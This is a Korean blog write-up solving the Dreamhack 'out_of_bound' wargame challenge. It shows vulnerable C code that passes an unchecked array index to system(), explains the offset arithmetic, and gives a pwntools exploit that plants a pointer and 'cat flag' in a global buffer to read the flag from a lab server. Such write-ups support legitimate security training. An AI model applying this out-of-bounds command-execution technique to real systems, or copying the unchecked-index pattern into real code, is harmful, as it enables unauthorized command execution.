https://dreamhack.io/wargame/challenges/11/
난이도: Level 1
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
out_of_bound 코드를 보면 name, idx 를 입력으로 받고 있습니다.
플래그를 획득하기 위해서 system("cat flag"); 를 실행하도록 해야합니다.
위 내용을 수행하기 위해, name 에는 "cat flag" 를 포함하고 idx 값을 통해 name 주소에 접근하면 됩니다.
하지만, 여기서 주의할 점은 system 함수는 문자열 포인터를 인자로 받기 때문에,
문자 값 그대로가 아닌 문자열을 가리키는 주소 값을 줘야한다는 점입니다.
idx 값을 통해 name 주소에 도달해야하기 때문에 name과 command 사이의 거리를 구해야합니다.
name에 "AAAA"를 입력하였고, name과 command 사이의 거리는 76 임을 알 수 있습니다.
system 함수에 command[idx] 인자를 넘길 때, eax * 4 + 0x804a060 (command 시작 주소) 연산을 합니다.
name과 command 사이의 거리가 76 이기에 76 / 4 = 19로 idx 값은 19가 되면 name에 접근할 수 있게 됩니다.
초기에 설명했듯, system 함수는 문자열 포인터를 인자로 받기 때문에, 문자 값 그대로가 아닌 문자열을 가리키는 주소 값을 줘야합니다. 그러므로, name에 입력 값으로 0x804a0ac (name 시작 주소) + 4 + "cat flag" 를 주면 됩니다.
즉, name에 name + 4 의 주소를 넣고, name + 4 위치에 "cat flag"를 넣으면 됩니다.
이를 코드로 구현하면 아래와 같이 구현할 수 있습니다.
Exploit Code
from pwn import *
context.log_level = 'debug'
p = remote("host3.dreamhack.games",19598)
e = ELF("./out_of_bound")
payload = p32(0x804a0ac+4)
payload += b"cat flag"
p.recvuntil("Admin name: ")
p.sendline(payload)
p.recvuntil("What do you want?: ")
p.sendline(b"19")
print(p.recvall())
실행 결과
'DreamHack' 카테고리의 다른 글
[DreamHack] baby-sqlite (0) | 2023.06.15 |
---|---|
[DreamHack] Command Injection Advanced (0) | 2023.06.13 |
[DreamHack] XSS - 2 (2) | 2023.06.07 |
[DreamHack] Return Address Overwrite (0) | 2022.11.14 |
[DreamHack] XSS - 1 (0) | 2022.11.13 |